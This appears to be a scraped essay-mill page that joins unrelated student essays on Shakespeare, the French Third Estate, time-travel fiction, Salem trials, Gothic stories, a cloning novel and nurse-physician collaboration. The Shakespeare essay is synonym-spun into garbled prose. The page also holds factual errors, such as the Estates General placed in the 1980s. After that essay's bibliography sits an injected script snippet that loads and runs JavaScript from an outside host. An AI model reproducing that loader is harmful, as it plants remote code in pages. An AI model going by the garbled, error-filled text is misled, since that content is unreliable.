Spirit Of Shakespeare And Elizabethan Times Essay free essay sample

, Research Paper The Spirit of Shakespeare and the Elizabethan Times During the reign of Queen Elizabeth I, English civilization was at its greatest. England during the Elizabethan Age saw a metempsychosis of literature, in big portion because of William Shakespeare. Shakespeare? s Hagiographas had all the features of Elizabethan life. The Elizabethan Age ( 1558-1603 ) was called so, because of the length of Queen Elizabeth? s reign. It was besides called the age of Shakespeare ( 1569-1616 ) because of his influence on literature during that clip. These were lively, energetic times, during which there was a cultural Renaissance. Queen Elizabeth loved play and poesy and because of that, many authors during her regulation were able to make good and besides receive fiscal support from the wealthy. These times besides had many societal categories. These societal categories normally would neer hold assorted. But because of the theater, all sorts of people came together. We will write a custom essay sample on Spirit Of Shakespeare And Elizabethan Times Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page ? Playwrights found themselves composing for extremely diverse audiences which reflected the of all time altering do up and energy of society? Shakespeare? s play had to be written in a manner so that the capable affair would appeal to a broad audience. ? The most successful dramatists of the twenty-four hours, such as Shakespeare, made certain that their play included? Something for everybody? . ? The people during Elizabethan times were hungry for information. This avidity to cognize about everything that was traveling on at the minute was because the Queen had made the people feel really near to her and to her authorities. Shakespeare, who understood instinctively what this meant, used his dramas as manner to inform the public about everything from societal issues to political relations, but of class he did it in a really amusive and interesting manner. ? -this was a ferociously individualistic people who felt connected, through the peculiarly democrat inherent aptitudes of the Queen and authorities, with events. ? For the Elizabethans, and for Shakespeare, war was a really chilling thing. But it besides had an exciting quality to it. ? Shakespeare, simplifies military leaders, stressing their headline entreaty. Endowing them with his humor, his popular easy power, his gift of imagination, he makes them versions or transcripts of himself, reflecting his ain observation and experience of war. ? Shakespeare would demo all sides of the war in his historical dramas, without uncovering excessively much of what really went on, on the interior. R / gt ; The Elizabethans had besides discovered the Grecian and Roman classics. New versions were made, so that they could be acted out on phase. Shakespeare had seen these new versions of Greek and Roman calamities and comedies. He recognized many similarities to what was traveling on in the English royalty household. ? Family passion, retaliation, enviousness, all the local, domestic springs of popular and entertaining dramas, were the productive forces of universe politics. ? Shakespeare was able to transform and accommodate all of these emotions into his dramas. At some point during Queen Elizabeth? s clip in power, there was a great trade of spiritual tenseness. The Church of England had been established. Not desiring to pique anybody, Elizabeth aimed to convey Protestants and Catholics together. These were old ages when the people were diffident which manner to travel spiritually or politically. ? Queen Elizabeth? s singular reign was a equilibrating act between opposing forces in these spheres, but she could make little to accommodate the existent differences. ? Shakespeare was decidedly in that regard besides a merchandise of his clip. On the exterior he conformed but on the interior he felt the spiritual confusion of his epoch. ? He had ever remained as much a competitory patriot as an inside persuaded Catholic. He delighted in playing to the chauvinist crowd-which did non itself care much either manner in the great spiritual divide. ? These were religious times, which Shakespeare would convey in his literary plants. Shakespeare truly showed us what the spirit of the Elizabethan times was. ? He created the most graphic characters of the Elizabethan- or any other-stage. His use of linguistic communication, both lofty and low, shows singular humor and nuance. Most significantly, his subjects are so cosmopolitan that they transcend coevalss to stir the imaginativeness of audiences everyplace to this twenty-four hours. ? These were times of prosperity and optimism, which influenced all of the cultural facets of this period, in add-on to of class the literary works.. This was a clip of changeless alterations. ? No tusk tower poet, he was speedy to catch and absorb a new voice. ? Shakespeare was able to place what the people were experiencing and believing and demo it in his literary plants. He ever tried to maintain his audience delighted, and maintain their imaginativenesss traveling. He was really observant and wholly understood the human status of the Elizabethan Age. Bibliography Shakespeare by olivia krinton ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Third Estate During the French Revolution

The Third Estate During the French Revolution In early modern Europe, the Estates were a theoretical division of a countrys population, and the Third Estate referred to the mass of normal, everyday people. They played a vital role in the early days of the French Revolution, which also ended the common use of the division. The Three Estates Sometimes, in late medieval and early France, a gathering termed  an Estates General was called. This was a representative body designed to rubber-stamp the decisions of the king. It was not a parliament as the English would understand it, and it often didnt do what the monarch was hoping for, and by the late eighteenth century had fallen out of royal favor. This Estates General divided the representatives who came to it into three, and this division was often applied to French society as a whole. The First Estate was comprised of the clergy, the Second Estate the nobility, and the Third Estate everyone else. Makeup of the Estates The Third Estate was thus a vastly larger proportion of the population than the other two estates, but in the Estates General, they only had one vote, the same as the other two estates had each. Equally, the representatives who went to the Estates General werent drawn evenly across all of society: they tended to be the well to do clergy and nobles, such as the middle class. When the Estates General was called in the late 1980s, many of the Third Estates representatives were lawyers and other professionals, rather than anyone in what would be considered in socialist theory lower class. The Third Estate Makes History The Third Estate would become a very important early part of the French Revolution. In the aftermath of Frances decisive aid to the colonists in the American War of Independence, the French crown found itself in a terrible financial position. Experts on finance  came and went, but nothing was resolving the issue, and the French king accepted appeals for an Estates General to be called and for this to rubber-stamp financial reform. However, from a royal point of view, it went terribly wrong. The Estates was called, the votes were had, and representatives arrived to form the Estates General. But the dramatic inequality in voting- the Third Estate represented more people, but only had the same voting power as the clergy or the nobility- led to the Third Estate demanding more voting power, and as things developed, more rights. The king mishandled events, and so did his advisors, while members of both the clergy and the nobility went over (physically) to the Third Estate to support their demands. In 1789, this led to the creation of a new National Assembly that better represented those not part of the clergy or nobility. In turn, they also effectively started the French Revolution, which would sweep away not just the king and the old laws but the whole Estates system in favor of citizenship. The Third Estate had therefore  left a major mark on history when it effectively gained the power to dissolve itself.

Technologies coming true Research Paper Example | Topics and Well Written Essays - 1500 words

Technologies coming true - Research Paper Example One of his assumptions is that he could, indeed, connect to the past and communicate with his dead father, or that he could link up with the future and connect with people trying to talk to him. According to the professor, time is flexible and it could be manipulated by twisting space. The documentary explains the possibility of using a circulating light beam to twist space and close time to a loop. The key challenge is to get laser power to twist space. The professor uses the principle of flexible time to send particles into the past. The documentary explores the link between energy, space, and time as developed by Albert Einstein. However, the professor acknowledges practical challenges that would make it impossible for the machine to connect to the past from the present moment. Various conditions have to be met in order for the professor to challenge the aspect of time as it appears in reality. It might be important to notice that some of the issues that connect to the questions a bout time are actually based on the acknowledgement of the bridge between the theoretical explanations and the practical difficulties involved. The acknowledgement of the difficulties involved in the practical possibilities of the time machine effectively distinguishes this documentary from many science fiction movies, which have always insisted on the possibility of uniting the past and the future through some technological implements born out of their own imaginations. The documentary separates the possible from the impossible by use of illustrations, theories, and explanations. It might be important to assess the similarities and contrasts between the grounds established in The World’s First Time Machine documentary and the imaginations that run through a science fiction film such as Back to the Future. Whereas the documentary attempts to provide facts about the workability of the time machine, the film begins from the imaginative point of view that already affirms such wo rkability and proceeds to explore the capacity of the machine to influence humanity and human destiny. The science fiction film, Back to the Future directed by Robert Zemeckis, effectively expands on the growing fascination about the possibility of man moving back and forth in time. The film is centered on the exploits of Marty McFly who manages to reverse the misfortunes of his family and friends by accidentally using a time machine invented by his friend Emmet Brown, a renowned scientist. McFly’s travel into the past is made possible after some Libyan terrorists kill the doc for having stolen their plutonian, which he used to power the time machine. McFly eventually learns that he is displaced from the present moment of 1985 up to the distant past of 1955. At this point, he meets his parents before they have begun dating and ensures that they are together in order to ensure the sustainability of the family. He is also able to prevent some of the happenings in the past becau se he had prior knowledge of them when he left 1985 towards 1955. For instance, he is able to protect his future father from the accident, which had brought him and his mother in love at the first place. He also meets the young Doc and convinces him to make possible his travel back into the future. During their encounter in the past, he warns Doc in a letter about his future murder at the hands of the Libyan terrorists. Doc wears a bulletproof vests and he is able to avert death. The second dramatic

Unknown Thesis Example | Topics and Well Written Essays - 250 words

Unknown - Thesis Example This interesting because in 1692, witchcraft was considered a crime in the United States and anybody who is tried for the crime will be denied legal counsel. US legal system was also flawed at that time and could even be considered worst than the most fatalistic government today. During that time, anybody can be convicted by just an accusation that a person was seen in a dream committing the crime (spectral evidence) where gossips and hearsays were used as evidence (Linder, 2009). An accused is also tried on the basis of either he or she is with God or against God (McGill, 1981) where evidences were based on religion instead of facts (Eugen, 1959). And yes, America hanged their convicts too especially when it involves witchcraft. This piece of America’s history is not that popular because it ran counter to cherished value that we now enjoy. Yet at some point, America was like her critic that would make this research an interesting excursion into America’s dark

The Darkness out there Essay Example for Free

The Darkness out there Essay Changing the mood during a story makes it more exciting and less predictable which captivates the readers interest. Both stories show evidence of significant mood change, which created a successful amount of suspense when I read them. The endings of the three stories are all quite similar because the characters die at the end because of what they have been through. Frankenstein ends as it began with letters written from Walton to his sister. Frankenstein has journeyed to the Arctic in pursuit of his creation and has lived to tell the extraordinary tale of his life. The reader finds out that the end of Frankensteins story was in the prologue and everything is pieced together, for example, the sighting of the gigantic stature in the beginning. After completing his story, Frankenstein dies on the boat and his monster finds him. The compassion he once felt for his creator returns to him as he confesses he wants to die too. The morals used throughout the story are summed up here in part of the monsters speech. I, the miserable and the abandoned, am an abortion, to be spurned at, and kicked, and trampled on Here, Shelley communicates the idea that everyone should be loved no matter how they look. This could be related to many modern issues, for example, a mother abandoning her baby. The ending matched the theme of the story, e. g. death and bereavement, and was very detailed. I liked the way the letters at the beginning and the end made the story very complete, and gave the story more of a purpose to be told. Walton wanted to hear it; Frankenstein wanted to tell it. Many of the ideas Shelley used in the novel were talked about by the monster at the end which also made the story educational because it talked about very realistic issues. In The Raven Poe leaves you unsure about the ending he has written. It is quite evident that the man is dead and the raven has frightened the man to death because his soul from out that shadow lies floating on the floor, which seems as if he has left his body but we are never sure why. The only evidence we have is that the man was a firm believer of superstition and maybe he was so scared of the thought of dying that it killed him. This is like the ending in The Tell Tale Heart, also by Edgar Allan Poe. At the end you know that the younger man has killed the older man but you cant figure out why. Poe lets the readers decide for themselves what has truly happened which involves their imaginations, which makes it a more memorable ending because the reader has had to think about it more. In Man Overboard it is safe to assume that a shark killed the man because he was praying to die and suddenly His last appeal had been heard and a fin approached him slowly. In Frankenstein and Man Overboard the men wanted to die so the ending is satisfactory to the character and reader because it was what was expected. In one of the stories it might have been better to keep the character alive for longer to create more fear in the characters mind which would have built up more suspense in the story if the character had to keep going through more horror. The ending of The Raven was good because the man didnt want to die but he did. This made the story more horrific because the character didnt want what happened in the end, making him more frightened and adding more fear and tension to the story for the reader because they could be so involved in the story that they would feel what the character is feeling. Linking ideas throughout a story is an effective way of keeping a reader interested. It keeps the story exciting if the reader is able to piece parts of different plots together. However, if the writer continually keeps inventing new plots that have no relevance to any of the current ones and make up a new story on their own, the reader may start to lose interest because it may confuse them. In Frankenstein, Shelley links many plots to one another as the novel progresses. This helps the reader to develop a clearer understanding of what is happening because each plot supports another one. The letters in Frankenstein are a good example of the way Shelley links different characters ideas together in the story. The letters Frankenstein received when he was away at Ingolstadt were about what was happening at his home. These letters made it easier for me to understand the story when Frankenstein returned home because all of the information had already been supplied about the environment and characters. I didnt have to concentrate on figuring out things about the story, which made it easier to read. The letters acting as the prologue and epilogue from Walton to his sister also linked the story together very well. When I had finished the story I realised what everything meant at the beginning, for example when Frankenstein said to Walton I have lost everything and cannot begin life anew. Reading statements like that at the beginning built up a lot of suspense and made me want to keep reading to find out more. This helped me enjoy the story more because I was always searching for something to find out about in the text. In The Raven, Poe links ideas with words, rhyme and verse structure. The way he wrote about the raven saying Nevermore at the end of each verse gave the plot more continuation because it provided a reason for man to keep reacting to in the next verse. It made me wonder whether the raven would say anything else so it kept me interested. The verses and the rhyming patterns are very structured, which linked each verse of the story together because they were of similar length and sound. The way the rhyming of the ore sound kept appearing in the same places in each verse gave the poem more rhythm and familiarity and linked the verses together even more because I was able to tell when the next rhyme would be. In Man Overboard, Churchill links the song with the setting very well. This is very important because the song is the cause of the ending of the story. Rowdy Dowdy Boys is a sea song and as the story is set on a ship, this makes it very appropriate and makes the atmosphere feel more realistic. It makes it easier to imagine the song being sung in its surroundings and puts the story into context more effectively. The main difference between these two stories is the type of language they contain because of the different periods they were written in, and the effect the language has on the style of the story. The Old Nurses Story and The Darkness Out There were written in different periods of history. The Old Nurses Story uses a more formal style of English.. The style of writing in The Darkness Out There may still be used in writing today. The style of language used in each story makes them very different from each other and we can identify the period in which they were written in very easily by looking at some of the words used and things written about that were popular at that time. I found that both stories contain many realistic and relevant ideas about morals and the contrasting behaviour of adults and children. Mukwinda Phiri 10Wn English 7 Show preview only The above preview is unformatted text This student written piece of work is one of many that can be found in our GCSE Mary Shelley section.

The Experiment :: essays research papers

The Experiment The Experiment was written based off the moral war between whether or no cloning is right. It involves three main people: Jude, Skyler and Tizzie. Jude is a newspaper reporter and has been dating Tizzie for quite awhile. Tizzie is a doctor who studies twins and the different types. Jude was doing a newspaper article and that was how he met Tizzie. He had to get information for the article and was told that Tizzie was the person to talk to when it came to twins. She happened to be a highly recognized doctor in that field. While all of this is going on in New York, Skyler, Jude’s clone, is living on an island with many other clones, even though they don’t know they’re clones. Skyler and his best friend discover that something happening on the island was wrong and dangerous. They plan on an escape, but Skyler’s friend dies in the attempt. Skyler grows up there and falls in love with one of the females on the island who happened to be Tizzie’s clone. Sk yler and Tizzie’s clone decide that they want to find out what has really been going on, on that island for so long. They dig through the offices trying to find just the smallest bit of information that could help them in their search. One day Skyler was out and felt that something was amiss. So that no one would know of Skyler and the girl’s search they conjured up a way to secretly communicate when to meet each other and where. It involved a rock, a tree and where the rock was place by the tree. Well, when Skyler got the chance he went to check on the rock because he hadn’t seen his love in a very long time. Later he finds out that she was killed in â€Å"The Lab† with all of her organs taken. He managed to escape the island and make it to the mainland. After a long while he made his way to New York and found out that he looked exactly like a man he saw in the newspaper†¦ Jude. Meanwhile, Jude has his own struggles with being stalked by large men w ith white streaks in their hair. One night, Skyler finds out where Jude lives and decides to take a visit. Just is very startled when he first meets him, but gradually gets use to the idea that they were either twins or clones.

The Nurse Managers Role

The nurse manager is vital in creating an environment where nurse-physician collaboration can occur and is the expected norm. It is she, who clarifies the vision of collaboration, sets an example of and practices as a role model for collaboration. The nurse manager also supports and makes necessary changes in the environment to bring together all the elements that are necessary to facilitating effective nurse-physician collaboration. Many authors (Alpert, Goldman, Kilroy, & Pike, 1992; Baggs & Schmitt, 1997; Betts, 1994; Evans, 1994; Evans & Carlson, 1993; Keeman, Cooke, & Hillis, 1998; Jones, 1994) have indicated that nurse-physician collaboration is not widespread and a number of barriers exist. The following will discuss the necessary ingredients for creating a nursing unit that is conducive to nurse-physician collaboration and supported through transformational leadership. The first important barrier according to (Keenan et al. (1998) is concerned with how nurses and physicians have not been socialized to collaborate with each other and do not believe they are expected to do so. Nurse and physicians have traditionally operated under the paradigm of physician dominance and the physician†s viewpoint prevails on patient care issues. Collaboration, on the other hand, involves mutual respect for each other†s opinions as well as possible contributions by the other party in optimizing patient care. Collaboration (Gray, 1989) requires that parties, who see different aspects of a problem, communicate together and constructively explore their differences in search of solutions that go beyond their own limited vision of what is possible. Many researchers have argued (Betts 1994; Evans & Carlson, 1993; Hansen et al. , 1999; Watts et al. , 1995) that nurses and physicians should collaborate to address patient care issues, because consideration of both the professions concerns is important to the development of high quality patient care. Additionally, effective nurse-physician collaboration has been linked to many positive outcomes over the years, all of which are necessary in today†s rapidly changing health care environment. One study by (Baggs & Schmitt, 1997) found several major positive outcomes form nurses and physicians working together, they were described as improving patient care, feeling better in the job, and controlling costs. In another study (Alpert et al. , 1992) also found that collaboration among physicians and nurses led to increased functional status for patients and a decreased time from admission to discharge. Along with improved patient outcomes, nurse-physician collaboration has several other reasons why it has become significant in today†s health care environment. Several examples of which are, as identified by (Jones, 1994) the cost containment effort, changing roles for nurses and physicians, the Joint Commission on Accreditation of Health Care Organizations focus on total quality management, and emphasis by professional organizations and investigators have focused attention on this area. The challenge of creating an environment for patient care in which collaboration is the norm can be difficult and belongs to the domain of the nurse manager. In order to create a collaborative work environment several conditions must be achieved and several natural barriers to nurse-physician collaboration must be overcome. In creating this environment for collaborative practice, (Evans, 1994) identified several more barriers to overcome. She expresses that the most difficult to overcome is the time-honored tradition of the nurse-physician hierarchy of relationships, which encourages a tendency oward superior-subordinate mentality. Keenan et al. (1998) found that nurses expect the physicians to manage conflict with a dominant/superior attitude. They also found that nurses are oriented towards being passive in conflict situations with physicians. A second barrier to collaboration is a lack of understanding of the scope of each other†s practice, roles, and responsibilities. Evans (1994) feels that one cannot appreciate the contribution of another individual if one has only limited understanding of the dimensions of that individual†s practice. It is equally true that appreciation of one†s own contribution is blurred if the understanding of one†s own role is limited. A third constraint to collaborative practice might be related to this perceived constraint on effective communication. Although there might be individual differences causing restraint in communication, the organizational and bureaucratic hierarchies of most hospitals hinders lines of communication. Several final factors cited by (Evans, 1994) as barriers to collaborative practice include immaturity of both physician and nurse groups, coupled with unassertive nurse behavior and aggressive physician behaviors. Factors that promoted collaboration between nurse and physicians were identified by (Keenan et al, 1998). She explained that nurse education was sighted as one of the most outstanding variables that promoted collaboration. The more educated a nurse was the more likely they were to take action in disagreements with physicians. Additionally, when nurses expected physicians to collaborate and to not exhibit strong aggressive behaviors or controversial styles, they were more likely to approach and discuss patient conditions with them. Researchers also found that male nurse were more likely than female nurses to confront physicians and not avoid dominant or aggressive behavior. Expectations for physicians to collaborate and to not handle situations aggressively appeared to be a stronger predictor of nurse-physician collaboration than any expected normative beliefs. The first step a nurse manager should take in the process of achieving a practice environment that facilitates collaboration is to conduct an assessment of the presence or absence of barriers leading to collaborative practice. According to (Evans, 1994), the environmental and role variables to assess include role identification and the professional maturity of both the nurses and physicians, communication patterns, and the flexibility of the organizational structure. By assessing the work environment for barriers and facilitators to collaborative practice, the nurse manager can achieve a general idea of how ready the unit is to begin a collaborative practice. The next step would be to plan an effective way to initiate a collaborative practice model of delivering health care on the unit. This can be done by establishing what is called a Joint Practice Committee, and including nurses and physicians to be a part of this work group. Its purpose would be to examine the needs assessment results of the unit†s readiness for collaborative practice, designing, implementing, and evaluating the process of transforming the unit. This step is an integral part of the process of establishing a collaborative practice and was identified by the National Joint Practice Commission (NJPC) as a necessary element in the process. The NJPC began in 1971 and the commission was dissolved in 1981. The commission†s work resulted in the publication of guidelines for collaborative practice in hospitals. The NJPC defines a joint-practice committee with a composition of equal number of nurses and physicians who monitor the inter-professional relationships and recommend appropriate strategies to support and maintain those relationships. The NJPC identifies four other structural elements necessary for a collaborative practice as primary nursing, integrated patient care records, joint patient care reviews, and emphasis on and support of nurse independent clinical decision making. These elements are an important cornerstone for creating a successful collaborative practice unit. In addition, several other factors have been identified by the NJPC as beneficial to maintaining an effective support systems when developing a collaborative practice such as appropriate staffing, committed medical leadership, standardized clinical protocols, and most importantly communication. Although a successful collaborative practice model has is a planned event. According to (Evans, 1994), it is important to realize that a collaborative relationship cannot be legislated, dictated, or mandated by anyone. It must be agreed upon and accepted by individuals who share responsibility for patient care outcomes. The third step in the process would be to empower the nursing staff with beliefs that fulfill their higher order of needs such as achievement, self-actualization, concern for others, and affiliation. Because of nursings normative behavior as passive, caring, and subservient the staff must learn to overcome expectations to identify with this role expectation. The nurse manager must support, coach, and instill a sense of empowerment into her staff in order for them to depart from those stereotypes. The idea is to fill the nursing staff with a sense of self-confidence and to lose thoughts of self-doubt, inequality, and subservience. To implement this new paradigm of nurse empowerment can be a challenge for the nurse manager within any typical hospital beaurocracy. That is why it is important to choose the correct style of leadership to guide the staff through this process of empowering or transforming. The leadership model best suited for this type of task and the most congruent with empowerment is the transformational model. Transformational leadership is a process in which leaders seek to shape and alter the goals of followers. Cassidy & Koroll (1994) describe the process as incorporating the dimensions of leader, follower, and situation. The leader motivates followers by identifying and clarifying motives, values, and goals that contribute to enhancing shared leadership and autonomy. Transformational leaders are usually charismatic so they enhance energy and drive people towards a common vision and shifting the focus of control from leaders to followers. It is the transformational nurse manager that will be able to empower her workers to facilitate nurse-physician collaboration, for the common good of the patient. The nurse manager using transformational leadership would set the direction for the rest of the unit to follow. She would be able to charismatically appeal to the medical staff as well as the nursing staff and create collaboration beyond the daily frustrations of arguing about to which domain a certain patient care issues belong. Further more the nurse manager would have to work hard at decreasing the seeds of distrust and disrespect that have been planted between our colleagues in medicine, and vice versa with nursing. Corley (1998) described several behaviors that the transformation nurse manager would need to exhibit in supporting her staff in such a role transition. The behaviors are as follows: stimulate creativity, establish an environment that facilitates team work and learning, implement change, motivate staff to assume increased responsibility, help develop employees† awareness of organizational goals, delegate responsibility appropriately, communicate openly and directly with staff, and collaborate with peers. The significance of these behaviors in facilitating empowerment is seen as fundamental to creating collaborative practice environment. The final step in the process is to evaluate its effectiveness. In order to provide a clear and concise evaluation of the collaborative process one must look at all structural elements and all indicators of collaboration as previously discussed. Once accurate measures are identified and assessed the collaborative practice committee can discuss their outcomes and effectiveness. Over time, nurses and physicians may be able to articulate more clearly the changes in their practice and beliefs that have been affected by collaborating on patient care. Several of these key areas to examine would be: length of stay, patient and provider satisfaction, number of return visits, and changes in supply costs. Improvements in any of these areas could be due to favorable results from collaborative practice between nurses and physicians. In conclusion, many problems related to nurse physician collaboration are typically blamed on physicians. However the reality is that many of the barriers can be traced back to nursing as well. Collaboration is a process by which members of various disciplines share their expertise. Accomplishing this requires that these individuals understand and appreciate what it is that each professional domain contributes to the â€Å"whole†. The nurse manger plays a pivotal role in establishing an environment that is conducive to collaboration among the disciplines. Although it is a difficult road to follow the benefits of an effective collaborative unit out-weigh the difficulties of establishing such a practice. However, the nurse manager has an excellent vehicle for which to begin her journey and that is the use of transformation leadership, an empowering tool for change.